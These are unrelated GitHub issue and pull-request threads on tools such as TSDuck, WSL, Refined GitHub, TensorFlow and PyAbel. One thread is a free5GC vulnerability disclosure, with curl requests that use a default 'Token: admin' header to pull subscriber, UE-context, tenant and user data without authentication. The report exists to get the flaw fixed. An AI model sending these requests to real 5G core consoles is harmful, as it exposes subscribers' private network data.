Inject plugin: time interval

Hi @lelegard ,
Maybe I'm a bit dumb, but I can't find the option to insert PSI tables at fixed interval (PAT at 100ms, NIT at 2000ms, SDT at 500ms, etc.). In the inject plugin I see only --bitrate that represents a bitrate and not an interval. In some other plugins, like spliceinject the option --inject-interval exists. Why not for PSI table insertion?
Regards.

The general syntax is:
tsp -P inject [options] input-file[=rate] ...

The repetition rate in milliseconds is per input file. This is because there is no reason to have the same repetition rate for all tables. Typically, a NIT or SDT "actual" will have a higher repetition rate than an "other" one, all being in the same PID.

OK, Thank you!
But, =rate and --bitrate aren't exclusive?
For example, can I use tsp -P inject "pat.xml"=100 --pid 0 --bitrate 1024 ? Which is then the recommanded bitrate for regular PSI Tables?

The results are:

Each table is inserted at just the same interval, despite the =value.
If I remove the -b (bitrate) parameter, then only the PAT table is injected just one time.
I don't know how to use quotes: -P inject "pat.xml"=100 or -P inject "pat.xml=100" is correct? The reason for the quotes are the spaces in the path of the file.

I feel some bug exists when injecting tables in a plain TS with only nulls.
Please, can you help me?

Hi @lelegard ,
Please, I'm doing something wrong, or a real bug exists?

However, I still don't know the correct "bitrate" values for these tables. Besides, I don't know why it doesn't work without the bitrate parameter.
Please, can you explain it more in deep in the documentation?
Thank you!

Hi @lelegard ,
I write this after a careful reading of the good documentation on the inject plugin:

The use of the "bitrate" parameter with the "rate" parameter isn't clear. The problem that I detected is bacause the bitrate is very small. Only if the bitrate is sufficient then the "rate" parameter works as expected. This should be indicated.
Futhermore, each PSI table should have a minimun"bitrate" value (32Kb/s or more). So I recommend to put some default values and use them when no "bitrate" is indicated. You can complete this with a print log of the bitrates used, and print a warning when the bitrate is insufficient.

I suggest this because without this information it's impossible to create a valid Transport Stream.
You agree with it?

I have modified the inject plugin to make the usage of bitrates and repetition rates more clear and more consistent (commit 31b2ca1e2e932ebde2a312fcc272621cf5014818). I hope that it solves the issues in this thread.
Originally, when a new PID was created (no --replace), the bitrate of the new PID had to be specified, either explicitly (--bitrate) or implicitly (--inter-packet).
Then, the repetition rates were added per file so that several tables may have different repetition rates in the same PID. For instance, in PID 16, it is legitimate to repeat the NIT Actual faster than the various NIT Other. The same idea applies in PID 17 with SDT Actual, SDT Other and the various BAT's. But the repetition rates only influenced the relative bitrates of the various tables inside the same PID, within a global known bitrate for the PID. For instance, it was usual to give a specific repetition rate for the NIT Actual and let all NIT Other use the remaining bandwidth of the PID 16.
The modification I just made is that when all input files have an explicit repetition rate, it is no longer necessary to specify a bitrate for the PID. It will be automatically computed from the sizes and repetition rates of all sections.

Version 3.14 is out, including the inject updates. Closing this issue.

Hi @lelegard ,
I'll try it, but I hope the problem is fixed.
Thank you!


precommit script

Hi,
I notice the precommit script is written in python. I'm not sure that is a good fit with the go ecosystem. Couldn't you do the same directly in go?
Regards,
Bruce.

Hi @KantarBruceAdams
We opted for ease of implementation instead of language purity.
I first tried to implement the precommit script as a go script (to be run with go run precommit.go), but then realized it had all sorts of issues (getting the current working directory was not easy since it compiled and ran from a temporary directory etc.).
Is there any reason why you would strongly prefer a go script instead of a python one given the simplicity of precommit.py?

It was just a thought.
Its simply language purity. Individual projects should have as few different dependencies as possible.
If someone wants to hack on this project do they need to install python? do they need to learn it?
When should they run this script?

The main place that the precommit checks are executed is on travis CI (see .travis.yml); the developer is actually only expected to satisfy the checks, but not to check them manually.
Could you show me in a snippet how you would write the precommit checks in Go or do you know another project that defines them in a separate file?
I looked a bit around, but couldn't find anything really usable. Most people only defined the checks in .travis.yml.

You have me there. I only just started learning go. My python is better and I've never used Travis (I use Jenkins).

:) would you mind if I close the issue? Of course, you can re-open it when you find a better way than python (I looked around a bit more today, but found no good example).

Sure.


[Bugs] Leaking Registered UEs,Subscriber information,Tenants and User via the Free5gc webconsole without authentication

Bug Description
Free5gc webconsole come with a default username Admin and by using this username as a token header and without any password or authentication ,it's possible to leak all the information below :

Registered UEs (plmnID,ueId)
Subscriber information (AccessType,CmState,Guti,Mcc,Mnc,Dnn,PduSessionId,Sd,SmContextRef,Sst,Supi,Tac)
Tenant and User

Steps To Reproduce

Leaking the subscriber list:

$ curl 'http://<IP_ADDRESS>:30500/api/subscriber' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0' -H 'Accept: application/json' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://<IP_ADDRESS>:30500/' -H 'Connection: keep-alive' -H 'X-Requested-With: XMLHttpRequest' -H 'Token: admin' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache'

[{"plmnID":"20893","ueId":"imsi-208930000000003"}]

Using the gathered IMSI to get the Registred UE info:

$ curl 'http://<IP_ADDRESS>:30500/api/registered-ue-context/imsi-208930000000003' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0' -H 'Accept: application/json' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'X-Requested-With: XMLHttpRequest' -H 'Token: admin' -H 'Connection: keep-alive' -H 'Referer: http://<IP_ADDRESS>:30500/'

[{"AccessType":"3GPP_ACCESS","CmState":"IDLE","Guti":"20893cafe0000000014","Mcc":"208","Mnc":"93","PduSessions":[{"Dnn":"internet","PduSessionId":"1","Sd":"010203","SmContextRef":"urn:uuid:d303dc78-b85a-4071-9e47-1e86e94b1773","Sst":"1"}],"Supi":"imsi-208930000000003","Tac":"000001"}]

Leaking tenant information

$ curl 'http://<IP_ADDRESS>:30500/api/tenant' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0' -H 'Accept: application/json' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'X-Requested-With: XMLHttpRequest' -H 'Token: admin' -H 'Connection: keep-alive' -H 'Referer: http://<IP_ADDRESS>:30500/'

[{"tenantId":"95e76759-cf0b-4c4f-8e93-393db0fbe503","tenantName":"test"}

Using the gathered tenant id to get users inforamtions on a specific tenant:

$ curl 'http://<IP_ADDRESS>:30500/api/tenant/95e76759-cf0b-4c4f-8e93-393db0fbe503/user' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0' -H 'Accept: application/json' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'X-Requested-With: XMLHttpRequest' -H 'Token: admin' -H 'Connection: keep-alive' -H 'Referer: http://<IP_ADDRESS>:30500/'

[{"userId":"715d2157-66c9-4885-b57c-48211010e237","tenantId":"95e76759-cf0b-4c4f-8e93-393db0fbe503","email":"test@test.test","encryptedPassword":""}]

Environment :

free5GC Version: v3.2.1
OS: Ubuntu 22.04

Risk and Impact
Risk : RISK_INFRASTRUCTURE_INFO_LEAK
Impact: TECH_IMPACT_INFO_DISCLOSURE
* Financial impact: None or not known.
* Confidentiality impact: High: It is possible to an attacker to leak  Registered UEs (plmnID,ueId),Subscriber information (AccessType,CmState,Guti,Mcc,Mnc,Dnn,PduSessionId,Sd,SmContextRef,Sst,Supi,Tac) , Tenant and User
* Integrity impact: None or not known.
* Availability impact: None or not known.

CVSS Base Score: 7.5
Impact Subscore: 3.6
Exploitability Subscore: 3.9
CVSS Temporal Score: 7.5
CVSS Environmental Score: 7.5
CVSS v3 Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:X/RL:X/RC:X)

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:X/RL:X/RC:X

Proposed Fix:
Consider generating a complex random token and give it an expiration date.

I'm not the developer of free5gc, for me, it's a feature :smiley:
But really who is concerned by this? From my point of view this implementation is not targeting businesses, but engineers that want to test and learn 5G.
Keeping it simple and not hiding information makes it better - at least when the part is not standardized.

But really who is concerned by this? From my point of view this implementation is not targeting businesses, but engineers that want to test and learn 5G.

I disagree. First because when looking at the main page, it never says that it is for education purposes only. If it was for education purposes only, there should be a huge warning sign not to use it in production.
And second, I think there are some companies out there who want to use free5gc as a core network in production. The main page explicitly states that the Apache license allows free usage for commercial purposes. This is usually not something that you would need to mention (because the Apache license is included in the repository and is generally a well-known license). I guess the reason it is mentioned is because people asked. And people usually ask this because they at least think about using it in production for commercial purposes.
A student at my university did some scans on Shodan and similar sites.  I admit it is hard to find out whether these instances are for education / research purpose or for production use, but some of them seem to belong to actual mobile network operators.

Keeping it simple and not hiding information makes it better - at least when the part is not standardized.

Having secure access control would not heavily impact your ability to play around with free5gc. You would just have to add an extra step to handle some kind of security token. and then you could just proceed to do whatever you did before.

Hi @p1-aji ,
thanks for reporting this problem, we'll be working on fixing this bug.
BRs,
linpoyi

@p1-aji,
The PR #44 in webconsole refer to this issue.


Automate installation process if there is an existing commit hook

The goal is to allow combining an existing and a new hook.
Moreover, it will be nice to provide an option to preserve just an existing hook.

Right now, install dir contains a general commit-hook that can be extending by adding several scripts into the corresponding folder.
But installation script stops working if the commit hook already exists and proposes to resolve the conflict manually.


Move close/cancel buttons to the left - Fixes #410

Moves the "Close issue" button in the issue comment section to the left for the sake of accuracy.

Sure.

Huh. I wanted to take a screenshot in Firefox and it seems the comment box looks completely different there. It got an endless stream of additional buttons and a "Styling with Markdown is supported" in place where the "Close issue" button should have gone. 🤔

Any suggestions? I think putting the button kind of in the mid of the row is weird.
The only solution that's spontaneously coming to my mind is to not put the "Close issue" button on the left, but just increase the distance to the "Comment" button. (That may look... weird? Badly designed? Not sure.)
Hm.
(As I have not done too many Pull Requests yet: Is this appropriate to discuss here or would it rather go into the original issue?)

@Loilo I'd suggest to not worry about Firefox now. All these additional buttons are the default for GitHub now and we don't have full Firefox support for the extension yet. We'd need look into it more, but we have an issue about that already: #71. Just take the screenshot in Chrome so we could merge as it'd help Chrome users for sure. Separately, we need to spend some time fixing Firefox issues probably with separate issues for outstanding things.

Uhm. Yes. Let's assume that I did not totally forget the fact that this is a Chrome extension. 🙈

Uhm. Yes. Let's assume that I did not totally forget the fact that this is a Chrome extension. 🙈

Hehe 😆 No worries. It should soon be a Firefox extension as well --> #403.

Okay, updated screenshot to use the moved button, the current GitHub design (font, primary button color) and @sindresorhus's latest avatar. 😝

Huh. I wanted to take a screenshot in Firefox and it seems the comment box looks completely different there than in Chrome

That's weird, which version of Firefox do you use? For me (FF 53.0.2) it looks like this:

I may need to clarify this: My firefox does not have any of the Refined GitHub scripts running. I only wanted to make the screenshot there to see if its rendering is superior to Chrome in any way.

@Loilo ah, that makes sense. Thanks for clarifying!

How about moving the "Cancel" button (when editing a comment) as well for consistency?

I don't care, but I agree that this would actually give it a more consistent look. I'll add that.

@jgierer12 Can you tell me where to find those inline commenting option?

@Loilo

Can you tell me where to find that inline commenting option?

Go to a PR
Go to Files tab.
Click + button on the left of any line. E.g. https://github.com/sindresorhus/refined-github/pull/414/files#diff-83ab1d10d74dc75c62ac9cf612cfce51R581

Thanks.

Regarding the inline comments: Would you only move the "Cancel" to the left or the "Add single comment" option as well?
Thematically, only the Cancel button should go left. Regarding the issue this PR tries to solve—misclicking—both should go left.
Thoughts?

Would you only move the "Cancel" to the left or the "Add single comment" option as well?

Yes, I'd only move "Cancel"

I'd prefer only the cancel button to go left.
You already have a shortcut for the primary button - ⌘/Ctrl+Enter. And also a misclick on the other button is not a destructive action.

Okay, that's added too.
And ⌘Enter was new to me, thanks. 👍

@Loilo Can you also add it to the feature highlight in the readme? https://github.com/sindresorhus/refined-github#highlights

There you go.

Thanks! 🎉

My pleasure. 🙃

Great work @Loilo 😄

Thanks. I'm thinking of aiming for #341 next, but I'm not sure yet if I've got the time. :)


Unable to set-version to 2 after setting it to 1

Windows Build Number
Microsoft Windows [Version 10.0.21376.1]
WSL Version

[X] WSL 2
[X] WSL 1

Kernel Version
5.10.16
Distro Version
Ubuntu 18.04
Other Software
No response
Repro Steps
I encountered the following error when starting up WSL2 :
WslRegisterDistribution failed with error: 0x80070050
Following online guides I attempted to reset my WSL back to version 1 and then to 2 again as this apparently fixed the issue.
Having now set my WSL to version 1, I now encounter this issue when attempting to reset to 2:
wsl --set-version Ubuntu-18.04 2
Conversion in progress, this may take a few minutes...
For information on key differences with WSL 2 please visit https://aka.ms/wsl2
The supplied install location is already in use.
I would like to use --set-version instead of reinstalling as it seems my data is still store in my ext4 file, and in the Apps list my Ubuntu size is at 20GB. Would be a huge hassle to restore the environment.
Expected Behavior
Be able to set version to 2
Actual Behavior
wsl --set-version Ubuntu-18.04 2
Conversion in progress, this may take a few minutes...
For information on key differences with WSL 2 please visit https://aka.ms/wsl2
The supplied install location is already in use.
Diagnostic Logs
No response

I get the following error when trying to capture logs, and oddly my feedback hub is missing, when I try to add it via Apps-> Optional features it's nowhere to be found in that list either
C:\Users\zhang\Desktop>wpr -start wsl.wprp -filemode
    Error code: 0xc00ce584
    DTD is prohibited.

    Line Number: 7
    Column Number: 11

@assist726: It looks like the wsl.wprp file you downloaded is corrupted, can you validate that its content matches this ?

@OneBlue Apologies, did redownload and has seemed to work this time.
https://github.com/assist726/wsl/blob/main/wsl.etl

@assist726 : Based on the logs it looks like the VHD already exists.
Can you validate if there's already an ext4.vhd in C:\Users\{username}\AppData\Local\Packages\{app family name}\LocalState
If you don't know the app family name, you can get it with powershell:
Get-Appxpackage | where {$_.Name.contains("Ubuntu")}

@OneBlue  Yes there is already a ext4 in the location

That's why the conversion is failing. I'd recommend making sure that you've backed up all the data you need from that vhd and then either moving it to a different location or deleting it and then try the conversion again.


Add soft mute notifications

What

Add soft mute notifications for both the new and old error bars

Why

How Tested

Process & policy checklist

[ ] I have updated the project documentation to reflect my changes if necessary.
[ ] I have read the CONTRIBUTING documentation.

Is this a breaking change?

[ ] This change causes current functionality to break.

Commited some updates here:

Pulled latest changes from main and solved conflicts
update errornotificationselecto name to notificationStackSelector


fixing issue 4076

Suggested solution for issue #4076.
I suggest to create a separate model linked to Attributes called AttributesCategories which will be used in get_brand_from_attributes function. The AttributesCategories will have the values from schema.org types and will be used instead of the attributes name. I think this will make the get_brand_from_attributes function more generic and will return other attributes not only brand and publisher.

Screenshots

Pull Request Checklist

[ ] Privileged views and APIs are guarded by proper permission checks.
[ ] All visible strings are translated with proper context.
[ ] All data-formatting is locale-aware (dates, numbers, and so on).
[ ] Database queries are optimized and the number of queries is constant.
[ ] Database migration files are up to date.
[ ] The changes are tested.
[ ] The code is documented (docstrings, project documentation).
[ ] GraphQL schema and type definitions are up to date.
[ ] Changes are mentioned in the changelog.

Hey @MahmoudRizk, thanks for opening the PR! I think there should be more straightforward ways to solve the issue .e.g we could add a new field to the product model or create a "system attribute" that is protected from removing. We haven't decided yet how to tackle it, but a good practice is first to discuss the potential solution in the issue. We need really good reasons to introduce a new model and here I think it's not necessary.


Add some docs for Blazor scalability

Ported over from https://github.com/aspnet/specs/pull/316. I'm not super sure how or if we Ignitor and our benchmarking adventures fit in this. Would we want to consider writing a separate blog post about it?

Given that there are style, grammar, metadata, file name, cross-links (in other docs), and TOC updates for this, it's quickest if I copy the content into a new PR. Do you want me to do that before or after technical review by @rynowak and @danroth27 review?
Via the new Circuits section, is this meant to resolve Document "circuits" for Blazor server-side (aspnet/AspNetCore.Docs #13360)?
Is everything Preview 8 friendly so that we can merge as soon as done? If not, I'll direct the PR to the staging branch.

it's quickest if I copy the content into a new PR.

@guardrex that sounds great. There's some additional content in https://github.com/aspnet/specs/pull/316 if that helps.

Sure thing. I'll wait until they review this and sign off on it.

@danroth27  @rynowak  ping

Moved to https://github.com/aspnet/AspNetCore.Docs/pull/14189.


Add support to install OCP 4.x on Azure

This commit:

Adds a template and sample properties file to install OCP on Azure
platform.
Updates the readme with the status.

@akrzos made the changes requested, PTAL.

LGTM


Migration: autogenerate dart model from database schema for existing projects

autogenerate dart server side model from database schema to enable existing projects an easy  use dartabase
allows to reuse existing databases when porting to dart or on existing dart projects to simplify adaption
rails app -> generate dart models from db
part of example.server;
class ${className} extends Model{
num id; // database column autogenerated by migration
${generatedynamicFields("serverVars", columnsMap)}
DateTime created_at; // database column autogenerated by migration
DateTime updated_at; // database column autogenerated by migration
String toString() => "${className} id=$id:${toStringParts.join(":")}:created_at:$created_at:updated_at:$updated_at";
}

code generation system implemented with migration 1.1.0


tests: Add docker user test

Add integration docker user test to run a container as a root and
non-root user.
Fixes #386
Signed-off-by: Gabriela Cervantes<EMAIL_ADDRESS>

@jodh-intel and @grahamwhaley changes applied

I just saw another comment from @grahamwhaley on another PR: could you add a test to ensure that searching for an unknown user fails? It's tricky to guarantee the user won't exist, but you could always userdel the user first, commit to create a new image and use that to guarantee it. That said, it should be pretty safe to assume that something crazy like user aaaaaaaaaaaa doesn't exist (famous last words maybe... ;-)

@jodh-intel changes applied

lgtm


[COMPAT] [FORGE] [1.20.1] Panda's Falling Trees

Your mod makes it so the player can slowly chop away at a tree until it breaks. Panda's Falling Trees makes the tree fall after breaking.
Having the two work together would be one step closer to a realistic tree chopping mechanic and I would love to see it work!
I want to be able to chop the bottom of a tree slowly and then, at a certain point, have the tree fall over. 😄
(Currently, when chopping a tree, it ignores TreeChop and just has Panda's mechanics).
https://github.com/PandaDap2006/Pandas-Falling-Trees/issues/37

Yes, I'd love to see this compatibility happen! A while ago I saw a comment by Panda saying they might look into it at some point but for now were focusing on getting the mod more stable/complete/etc. TreeChop's API supports this kind of compatibility, it's just waiting for Panda to make use of it.

Looks like Panda needs some help on the other issue report!


doc: create bug report issue form

Description
Since I was looking from the project documentation anyway, I thought I'd try-out the new (beta) issue forms. This makes the new issue process look a bit nicer, although that's about it. I've mostly re-used the existing issue template for this form, with some areas re-worded.
Testing
You can preview the form here and test it by creating a new issue on https://github.com/BenjaminAmos/DestinationSol.

For non-code PRs like this, is there a way of skipping CI so that it doesn't waste resources when there's absolutely nothing new to test?


Event for when application launches from notfication.

I'm looking for an event that fires when the application is neither in the foreground or background and the application is opened from a notification that is received. The onNotificationOpen works great whenever the application is already open or is in the background.
Am I missing something?

I think I have the same issue.
I've tested it on Android. If the app is killed (not in background), clicking the notification launches the app but onNotificationOpen is not fired afterwards.

I think I have the same issue.

This happens to me when application is in background too. Works great in foreground, but not when it's in background or closed.

try to install the plugin from github master so that you have this change https://github.com/arnesson/cordova-plugin-firebase/pull/153

Same for me.

I've tried the 0.1.19 version and get the same result; the notification arrives but when I tap on it it just disappears and the app doesn't start. Anyone else also getting this?

So I got mine to work but simply commenting out the line below (click_action) from my server that sends the push notifications:
notification: {                             title: site,                             body: fcmBody,                             'priority': 'high',                             'sound': 'default',                             /*"click_action": "FCM_PLUGIN_ACTIVITY",*/                             'color': '#ff0000',                         }

Reinstalling the plugin from github solved the issued for me, after trying all the suggested solutions
cordova plugin add https://github.com/arnesson/cordova-plugin-firebase.git --save

@SiempreProgramadorNovato Removing cordova-plugin-firebase and reinstalling it to latest version from npm fixed this issue. Latest master version doesn't compile for me. Fixed anyway, thanks.

@drptbl glad to hear that (y)

This problem is still alive on iOS. The onNotificationOpen Event is just fired, if the app is in the foreground or background, but not if the app isn`t in the list of the open app, if you doubleclick on the homebutton.
How could I get the message data in this case?


Make Upgrader9to10 use No Crypto

I investigated upgrading a 2.0.1 instance that has data encrypted to the modified per-table encryption and it won't work with the properties that have changed. This change just uses No Crypto when reading data in the upgrade code.
If anyone is using the 2.0.1 encryption and needs to translate it to the 2.1 encryption, a custom utility will have to be written and used.

Closes #2960


Conflicting server side and client side routing because I can't use 'useHash' (#) routing option

Issue type
I'm submitting a ...  (check one with "x")

[ ] bug report
[ X] feature request
[ ] question about the decisions made in the repository

Issue description
Current behavior:
I'm running ngx-admin from an ASP.NET Core MVC web server, which works fine with the useHash flag enabled in the routing options in mgx-admin; however I'm currently trying to implement authorization using Microsoft's Azure AD B2C, and in the callback section they don't allow the use of fragments (#). Therefore the callback route: localhost:5001/#/auth/callback isn't usable.
I've tried disabling useHash however whenever I load the dashboard, none of the images get served with a Failed to load resource: the server responded with a status of 404 (Not Found) error and errors getting the vendor.js, scripts.js and other files: rror: Uncaught (in promise): Error: Loading chunk ui-features-ui-features-module failed.
I think this is because the server routing and the app routing are clashing, and its trying to look for the images now on the server side and not in the assets directory within the app.
Expected behavior:
I'd like to be able to substitute the # with 'app' or something similar so that there are no routing clashes and I can also use a callback without having the fragment (#) not allowed error from Azure AD B2C

Hey @jjgriff93, I guess we are good to close it as looks like you resolved the issue here https://github.com/akveo/ngx-admin/pull/1306#issuecomment-401340034. Also, this one https://github.com/akveo/ngx-admin/issues/1482#issuecomment-381910915  may be related in similar cases.


multi worker training in tensorflow gives error - "terminate called without an active exception aborted"

I am running a tensorflow distributed training model on multiple workers using vertex AI/local and multiworkermirroredstrategy
After completion of all epochs it gives the error of "terminate called without an active exception aborted"
python=3.8
tensorflow=2.7
Can anyone explain why is this happening.

@ranvirdesai ,
Can you please take a look at this SO link and issue with the similar error.It helps.Thanks!

@tilakrayal
I face issue at the end of training, after completion of epochs and I am not using tensorboard profiling.
Mirroredstrategy and TPUStrategy works fine.
Just the Multiworkermirroredstrategy fails giving error - "terminate called without an active exception aborted"

@ranvirdesai ,
In order to expedite the trouble-shooting process, could you please provide the complete code to reproduce the issue reported here.

@tilakrayal
import tensorflow as tf
import tensorflow_datasets as tfds
print("tf version", tf.version)
strategy = tf.distribute.MultiWorkerMirroredStrategy()
(ds_train, ds_test), ds_info = tfds.load(
'mnist',
split=['train', 'test'],
shuffle_files=True,
as_supervised=True,
with_info=True,
)
def normalize_img(image, label):
"""Normalizes images: uint8 -> float32."""
return tf.cast(image, tf.float32) / 255., label
ds_train = ds_train.map(
normalize_img, num_parallel_calls=tf.data.AUTOTUNE)
ds_train = ds_train.cache()
ds_train = ds_train.shuffle(ds_info.splits['train'].num_examples)
ds_train = ds_train.batch(128)
ds_train = ds_train.prefetch(tf.data.AUTOTUNE)
ds_test = ds_test.map(
normalize_img, num_parallel_calls=tf.data.AUTOTUNE)
ds_test = ds_test.batch(128)
ds_test = ds_test.cache()
ds_test = ds_test.prefetch(tf.data.AUTOTUNE)
def build_cnn_model():
return tf.keras.Sequential([
tf.keras.Input(shape=(28, 28)),
tf.keras.layers.Reshape(target_shape=(28, 28, 1)),
tf.keras.layers.Conv2D(32, 3, activation='relu'),
tf.keras.layers.Flatten(),
tf.keras.layers.Dense(128, activation='relu'),
tf.keras.layers.Dense(10)
])
with strategy.scope():
model = build_cnn_model()
model.compile(
optimizer=tf.keras.optimizers.Adam(0.001),
loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),
metrics=[tf.keras.metrics.SparseCategoricalAccuracy()],
)
model.fit(
ds_train,
epochs=2,
validation_data=ds_test,
)
It is simple mnist model which gives error.
Also model training on multtiple CPU machines works fine but when we attach GPUs to it gives the error -
terminate called without an active exception aborted
Thanks

@ranvirdesai ,
Can you please confirm whether this issue is duplicate of #55178?.Thanks!

The model isn't duplicated or rescripted in any form but could be a test modification plugin. Are you having any complications with running it?

Are you trying to mass script or group the code plugin for a infinite loop or machine learning module?

I was using a small dataset and it was giving problems, but when I used bigger dataset it worked.
Also changed python 3.8 to 3.7

for the time being i am satisfied with the resolution outlook of python.


[Feature] Add GitHub stars in Navbar

Fixes Issue
closes #768

Changes proposed
Added GitHub Star Button

Screenshots

Note to reviewers

i opened another pr

i opened another pr

I saw that. Thanks


Random hangs still occur on ubuntu

The update in https://github.com/ChatTriggers/ChatTriggers/tree/01f2a38ca831a8f9954c920adc5b762c1d377b7c claims to remove random hangs from ubuntu. I tried to compile it with ./gradlew build and in the folder build -> libs there was the compiled version. I placed the compiled version into my mods folder and ran minecraft. When I ran the /f list command in hypixel, my game froze. Am I doing something wrong? Is build -> libs the wrong folder? There is no compiled .jar file on the releases page for this branch, so I have to compile it myself.

Well we haven't actually released 1.4.0 yet so that is why there is no jars available, but building from source should produce a working jar. The commit that actually fixes that bug is here https://github.com/ChatTriggers/ChatTriggers/commit/f440bd3519e77bf5c75ec9a58674dc2d3367ad45, did you build after this commit was made?

Because I commented on a bug report, I got an email notification saying that it was closed via a branch. I clicked the link to the branch and then clicked the view code button or whatever its labeled with and it took me to the page. The branch that was linked in the email is the one I linked in my previous comment. I will try the branch you just linked when I have the chance.

Oh using the other branch worked perfectly. Thanks!


The Server wiki page should explain how to set the number of decoding threads

You can set the number of decoding threads by using one of the WebSocketServer constructors that takes a decodercount parameter. The last sentence of the Server wiki page implies that this is not yet possible. I'd fix it myself, but I don't know the status of other ways to tweak performance that are mentioned there.

Hello @NoahAndrews,
thank you for spotting that!
Do you mind changing it? Thank you!
Best regards,
marci4

Done

Thank you very much !


Vague compilation error when T.command doesn't have parenthesis

There is a vague error message when you write mill's command without parenthesis(like def bar() = T.command{}) in the definition. build.sc to reproduce:
import mill._

def bar = T.command {
  println("bar")
}

when you run mill, the output is:
➜  mill-command mill
Loading...
Compiling /Users/rockjam/projects/mill-command/build.sc
build.sc:73: Target#apply() can only be used with a T{...} block
  implicit def millDiscover: mill.define.Discover[this.type] = mill.define.Discover[this.type]
                                                                                ^
Compiling /Users/rockjam/projects/mill-command/build.sc
build.sc:73: Target#apply() can only be used with a T{...} block
  implicit def millDiscover: mill.define.Discover[this.type] = mill.define.Discover[this.type]
                                                                                ^
Compilation Failed

We should make clearer error message here

Yeah we should just error out immediately if a command doesn't have 1 argument list

Should be fixed by https://github.com/lihaoyi/mill/commit/fb8c75c01f86f41a62e549eb03953789658f7cae


Implement "Onion Peeling" algorithm

Professor Eric Wells from Augustana University has kindly provided a Matlab implementation of the Onion Peeling (also known as "back projection") algorithm described in his recent paper:
http://scitation.aip.org/content/aip/journal/rsi/85/11/10.1063/1.4899267
The algorithm actually originates from this 1996 RSI paper by Bordas et al., so we should cite both papers in the code and the documentation.
He said that we could port his algorithm to Python and incorporate it into the PyAbel package if we wish. I tested the Matlab implementation, and it provided sub-second transform times for 1000x1000 pixel images and the results seem to be high-quality.
I uploaded the matlab code here: https://github.com/PyAbel/PyAbelLegacy/tree/master/onion_peeling
In the future, we should incorporate this into the PyAbel package.
EDIT: This "onion peeling" method is distinct from the "polar onion peeling" method discussed in https://github.com/PyAbel/PyAbel/issues/30. Polar onion peeling uses a basis set of fairly broad legendre polynomials and cannot resolve very small angular features (I think), whereas the onion peeling algorithm does not require a basis set.

I got a preliminary port of this working. The results look pretty reasonable for the O2 test image.
Inverse abel transform on left, original image on right

The code is fairly short. Here is the full working example. I'm not 100% sure what's going on, but basically it's iterating over the column from outside to inside and subtracting the projection of each column from the inner columns.
Here is the code:
import numpy as np
import matplotlib.pyplot as plt
import time

def init_abel(xc,yc):
    # this seems like it could be vectorized pretty easily
    val1 = np.zeros((xc+1, xc+1))
    val2 = np.zeros((xc+1, yc+1))

    for ii in range(0,xc+1):
        for jj in range(ii, xc+1):
            val1[ii,jj] = np.arcsin((ii+1)/float(jj+1))-np.arcsin((ii)/float(jj+1))

    for idist in range(0,xc+1):
        for jdist in range (0,yc+1):
            val2[idist,jdist] = np.sqrt((idist+1)**2+(jdist+1)**2)/(idist+1)

    return val1,val2

def iabel_onion_peeling(IM,sym_lr=False,sym_ud=False):
    # %%% Abel-inversion algorithm from: Rev. Sci. Instrum. 67, 2257 (1996).
    # %%% info about this implementation:  Rallis et al., Rev. Sci. Instrum. 85, 113105 (2014)

    # works only on the left side of an image.
    # i.e., for IM[i,j], the radial coordinate (r) increases with increasing j
    h,w = np.shape(IM)

    if w%2==1:  raise ValueError('Image width must be even')

    if np.any(IM<0):
        print 'Image cannot have negative values, setting negative values to zero'
        IM[IM<0] = 0 # cannot have negative values

    # calculate val1 and val2, which are 2D arrays of what appear to be scaling factors
    val1,val2 = init_abel(w,h)

    abel_arr = IM*0 # initialize 2D array for final transform
    rest_arr = IM   # initialize 2D array that will be manipulated during the transform
    vect = np.zeros(h) # initialize a 1D array that is temorarily used to store scaling factors

    for col_index in range(0,w): # iterate over the columns (x-values) in the slice space

        if col_index%100 == 0: print col_index

        idist = w - col_index # this is basically the x-coordinate. or "distance in i direction", I guess
        rest_col = rest_arr[:,col_index]  # a 1D column. This is the piece of the onion we are on.
        normfac  = 1 / val1[idist,idist]

        for i in range(0,idist)[::-1]:
            ic = w - i - 1
            rest_arr[:,ic] =  rest_arr[:,ic] - rest_col * normfac * val1[i,idist]
            rest_arr[:,ic][rest_arr[:,ic]<0] = 0

        for row_index in range(0,h): #for row_index =1:ymax
            jdist = h - row_index
            vect[row_index] = val2[idist,jdist]

        abel_arr[:,col_index] = normfac * rest_col * vect.transpose()

    return abel_arr

data = np.loadtxt('O2-ANU1024.txt')
h,w  = np.shape(data)
data = data[:h/2]
left = data[:,0:w/2]

result = iabel_onion_peeling(left)
data[:,0:w/2] = result*.2
plt.imshow(data,clim=(0,np.max(data)))

plt.savefig('OnionPeeling.png',dpi=100)

plt.show()

@DanHickstein great work, your code looks compact and neat.

Here is a very rough comparison of the 4 inversion methods (direct, onion, hansenlaw, basex) for the O2- data.
I may not be driving iabel_direct() correctly, as the speed distribution is similar to that expected from a raw image?

NB The apparent image (quadrant) noise is sensitive to the normalization. I choose a point [h2-20:h2,140:160].max()   ~v'=3 on the centre-line  (It may have been better to average)
code:  examples/example_all_O2.py    in my fork
timing on Macbook pro 2.4GHz i5
direct inverse ...
0.3 sec
onion inverse ...
22.3 sec
hansen law inverse ...
0.6 sec
basex inverse ...
0.6 sec

The Onion Peeling Matlab implementation is sub-second runtime, so I'm not sure why the Python version is so much slower.
Also, I don't think that the result of the Onion Peeling in correct for object that are not spherical. For example, if I pass a cylindrical gaussian, the result varies in the vertical direction, which is not correct:
Original on right, transform on left:

